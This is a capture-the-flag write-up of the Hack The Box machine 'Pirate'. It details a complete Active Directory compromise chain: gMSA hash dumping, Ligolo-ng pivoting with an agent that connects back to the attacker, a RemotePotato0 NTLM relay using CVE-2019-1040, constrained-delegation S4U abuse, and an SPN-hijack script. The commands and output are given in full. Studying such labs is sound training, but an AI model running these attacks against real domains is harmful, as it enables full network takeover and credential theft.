Pirate
Reconnaissance
Port Scan
Nmap reveals a Windows Server 2019 Domain Controller (DC01.pirate.htb):
- 53/tcp - DNS
- 88/tcp - Kerberos
- 135/tcp - RPC
- 389/636/tcp - LDAP/LDAPS
- 445/tcp - SMB
- 80/443/tcp - IIS (default page, nothing useful)
- 2179/tcp - vmrdp (Hyper-V - hints at nested VMs behind DC01)
- 5985/tcp - WinRM
Clock skew of +6h - requires time sync for Kerberos (sudo ntpdate 10.129.244.95).
Initial Setup
Starting credentials are provided: pentest / p3nt3st2025!& (domain user).
# /etc/hosts
10.129.244.95 pirate.htb DC01.pirate.htb dc01.pirate.htb
# Sync clock for Kerberos
sudo ntpdate 10.129.244.95
BloodHound Enumeration
nxc ldap 10.129.1.22 -u pentest -p 'p3nt3st2025!&' --bloodhound --collection All --dns-server 10.129.1.22
Key BloodHound findings that define the entire attack path:
- MS01$ - Computer account with
PASSWD_NOTREQDflag, member of Pre-Windows 2000 Compatible Access and Domain Secure Servers - gMSA accounts -
gMSA_ADCS_prod$andgMSA_ADFS_prod$exist; Domain Secure Servers can read their passwords - a.white →
ForceChangePassword→ a.white_adm - a.white_adm → member of IT group → IT has
WriteSPNon DC01$ - a.white_adm has constrained delegation with protocol transition to
HTTP/WEB01.pirate.htb
Initial Access - Pre-Windows 2000 Machine Account → gMSA Dump
Pre-Windows 2000 Password Convention - MS01$
BloodHound shows MS01$ has the PASSWD_NOTREQD flag and is a member of the Pre-Windows 2000 Compatible Access group. Accounts created with this compatibility option have their password set to the lowercase computer name (without the trailing $).
# Verify PASSWD_NOTREQD
nxc ldap DC01.pirate.htb -u pentest -p 'p3nt3st2025!&' --password-not-required
# Authenticate as MS01$
nxc smb 10.129.244.95 -u 'MS01$' -p ms01 -k
# [+] pirate.htb\MS01$:ms01
gMSA Password Dump
MS01$ is a member of Domain Secure Servers, which has ReadGMSAPassword rights on both gMSA accounts:
nxc ldap DC01.pirate.htb -u 'MS01$' -p ms01 -k --gmsa
# gMSA_ADCS_prod$ NTLM: 304106f739822ea2ad8ebe23f802d078
# gMSA_ADFS_prod$ NTLM: 8126756fb2e69697bfcb04816e685839
Shell on DC01 - Internal Network Discovery
gMSA_ADCS_prod$ is the CA service account and has WinRM access to DC01:
evil-winrm -i 10.129.244.95 -u 'gMSA_ADCS_prod$' -H '304106f739822ea2ad8ebe23f802d078'
ipconfig
# vEthernet (Switch01): 192.168.100.1/24 ← Hyper-V internal network
# Ethernet0 2: 10.129.244.95 ← External
DC01 is a Hyper-V host with VMs (WEB01, MS01) on the internal 192.168.100.0/24 network, not directly accessible from the attacker machine.
Pivoting - Ligolo-ng
Setup
Since the internal network is not routable, we tunnel through DC01 using Ligolo-ng:
Attacker (Kali):
sudo ./proxy -selfcert
DC01 (evil-winrm):
upload agent.exe
.\agent.exe -connect <KALI_IP>:11601 -ignore-cert
Attacker - after agent connects:
# In ligolo proxy console:
>> session
>> 1 # select DC01 session
>> start
>> autoroute
Verify Internal Access
nxc smb 192.168.100.0/24 -u 'gMSA_ADCS_prod$' -H 304106f739822ea2ad8ebe23f802d078
# 192.168.100.1 DC01 signing:True
# 192.168.100.2 WEB01 signing:False ← SMB signing disabled!
Update /etc/hosts:
10.129.244.95 pirate.htb DC01.pirate.htb dc01.pirate.htb
192.168.100.1 DC01-internal.pirate.htb
192.168.100.2 WEB01.pirate.htb
User - RemotePotato0 NTLM Relay → Constrained Delegation
AutoLogon Discovery on WEB01
evil-winrm -i 192.168.100.2 -u 'gMSA_ADCS_prod$' -H '304106f739822ea2ad8ebe23f802d078'
WinPEAS reveals AutoLogon credentials:
Looking for AutoLogon credentials
DefaultDomainName : PIRATE
DefaultUserName : a.white
a.white has an active autologon session (Session ID 1) on WEB01. Combined with SMB signing disabled on WEB01, this enables an NTLM relay attack.
RemotePotato0 - NTLM Relay Chain
RemotePotato0 triggers a DCOM activation in a.white's session, coercing an NTLM authentication. This auth is relayed through our attacker machine to LDAPS on DC01 using ntlmrelayx with --remove-mic (CVE-2019-1040 MIC bypass for cross-protocol relay).
Since a.white has ForceChangePassword over a.white_adm (from BloodHound), we use the relayed LDAPS session to change a.white_adm's password.
Terminal 1 - ntlmrelayx (Kali):
impacket-ntlmrelayx -t ldaps://192.168.100.1 --http-port 8080 --remove-mic -i --no-rpc-server
--remove-mic- strips MIC from NTLM auth, bypassing cross-protocol relay protection (CVE-2019-1040)-i- starts interactive LDAP shell on successful relay--no-rpc-server- prevents port 135 conflict with socat
Terminal 2 - socat (Kali):
sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:192.168.100.2:9999
Redirects OXID resolver callback (port 135) back to RemotePotato0's listener on WEB01 (port 9999). Required because Server 2019 blocks local binding of RogueOxidResolver.
Terminal 3 - RemotePotato0 (WEB01 evil-winrm):
upload RemotePotato0.exe
RemotePotato0.exe -m 0 -r <KALI_IP> -t 8080 -x <KALI_IP> -p 9999 -s 1
-m 0- DCOM activation relay mode-r- OXID callback destination (Kali, where socat listens on 135)-x- NTLM auth destination (Kali, where ntlmrelayx listens on 8080)-p 9999- local RogueOxidResolver port on WEB01-s 1- target Session ID (a.white's autologon session)
Result:
[*] Authenticating PIRATE/A.WHITE against ldaps://192.168.100.1 SUCCEED
[*] Started interactive Ldap shell via TCP on 127.0.0.1:11000
ForceChangePassword - a.white_adm
a.white has ForceChangePassword ACL over a.white_adm. Using the relayed LDAPS session:
nc 127.0.0.1 11000
# In LDAP shell:
change_password a.white_adm NewP@ssw0rd123!
Constrained Delegation - User Flag
a.white_adm has constrained delegation with protocol transition to HTTP/WEB01.pirate.htb. This allows S4U2Self + S4U2Proxy to impersonate any user to that service. Using -altservice we change the service name in the ticket from HTTP to CIFS, giving file system access:
# S4U - get ticket as Administrator, change service to CIFS
impacket-getST -spn HTTP/WEB01.pirate.htb -impersonate Administrator \
-altservice CIFS/WEB01.pirate.htb 'pirate.htb/a.white_adm:NewP@ssw0rd123!' \
-dc-ip 10.129.244.95
# Use the ticket
export KRB5CCNAME=Administrator@CIFS_WEB01.pirate.htb@PIRATE.HTB.ccache
impacket-psexec -k -no-pass WEB01.pirate.htb
→ SYSTEM on WEB01 → user.txt
Privilege Escalation - WriteSPN + Constrained Delegation to DC01
WriteSPN - SPN Move from WEB01$ to DC01$
a.white_adm is a member of the IT group, which has WriteSPN on DC01$ (and all other computer accounts).
a.white_adm's constrained delegation is configured to HTTP/WEB01.pirate.htb. When Kerberos processes S4U2Proxy, it resolves the SPN to a machine account. If we move the HTTP/WEB01.pirate.htb SPN from WEB01$ to DC01$, then S4U2Proxy will issue a service ticket encrypted with DC01$'s machine account key instead of WEB01$'s.
# spn_move.py
import ldap3
server = ldap3.Server('10.129.244.95', use_ssl=False)
conn = ldap3.Connection(server, user='pirate.htb\\a.white_adm',
password='NewP@ssw0rd123!', authentication=ldap3.NTLM)
conn.bind()
# Remove HTTP/WEB01.pirate.htb from WEB01$
conn.modify('CN=WEB01,CN=Computers,DC=pirate,DC=htb',
{'servicePrincipalName': [(ldap3.MODIFY_DELETE, ['HTTP/WEB01.pirate.htb'])]})
print(conn.result)
# Add HTTP/WEB01.pirate.htb to DC01$
conn.modify('CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb',
{'servicePrincipalName': [(ldap3.MODIFY_ADD, ['HTTP/WEB01.pirate.htb'])]})
print(conn.result)
python3 spn_move.py
# {'result': 0, 'description': 'success', ...}
# {'result': 0, 'description': 'success', ...}
Constrained Delegation to DC01 - Root Flag
Now HTTP/WEB01.pirate.htb resolves to DC01$. S4U2Proxy issues a ticket for DC01$'s machine account:
# S4U - same SPN, but now resolves to DC01$
impacket-getST -spn HTTP/WEB01.pirate.htb -impersonate Administrator \
-altservice CIFS/DC01.pirate.htb 'pirate.htb/a.white_adm:NewP@ssw0rd123!' \
-dc-ip 10.129.244.95
# Use the ticket
export KRB5CCNAME=Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache
impacket-psexec -k -no-pass DC01.pirate.htb
→ SYSTEM on DC01 → root.txt
Attack Chain Summary
pentest creds → BloodHound enum
│
├─ MS01$ PASSWD_NOTREQD + Pre-Windows 2000 → MS01$:ms01
│ └─ gMSA password dump (Domain Secure Servers)
│ └─ Shell DC01 as gMSA_ADCS_prod$ → discover 192.168.100.0/24
│
├─ Ligolo pivot → Shell WEB01 as gMSA_ADCS_prod$
│ └─ WinPEAS → AutoLogon a.white on WEB01 (Session ID 1)
│
├─ RemotePotato0 (DCOM coercion) → NTLM relay to LDAPS (CVE-2019-1040)
│ └─ ForceChangePassword: a.white → a.white_adm
│ └─ Constrained Delegation S4U → Administrator@CIFS/WEB01 → user.txt
│
└─ WriteSPN: move HTTP/WEB01 SPN from WEB01$ to DC01$
└─ Constrained Delegation S4U → Administrator@CIFS/DC01 → root.txt
Key Takeaways
- Pre-Windows 2000 password convention - computer accounts with
PASSWD_NOTREQDflag and membership in the Pre-Windows 2000 group have their password set to the lowercase hostname, making them trivially guessable - gMSA password dump via group membership - Domain Secure Servers group has
ReadGMSAPasswordrights, allowing any member (including compromised machine accounts) to dump gMSA NTLM hashes - Hyper-V internal pivoting - DC01 acts as a Hyper-V host bridging the external network and the internal 192.168.100.0/24 network; Ligolo-ng creates a seamless tunnel for attacking nested VMs
- RemotePotato0 NTLM relay - coerces NTLM authentication from a.white's DCOM session and relays it to LDAPS with MIC bypass (CVE-2019-1040), enabling ACL-based attacks through the relayed session
- ForceChangePassword ACL abuse - allows resetting a.white_adm's password without knowing the current one, using the relayed LDAPS connection
- S4U constrained delegation with altservice - a.white_adm's delegation to HTTP/WEB01 can be abused by changing the service name to CIFS, granting file system access as Administrator
- WriteSPN SPN hijack - moving the target SPN from WEB01$ to DC01$ causes S4U2Proxy to issue tickets for DC01$'s machine account, escalating from WEB01 access to full DC01 compromise
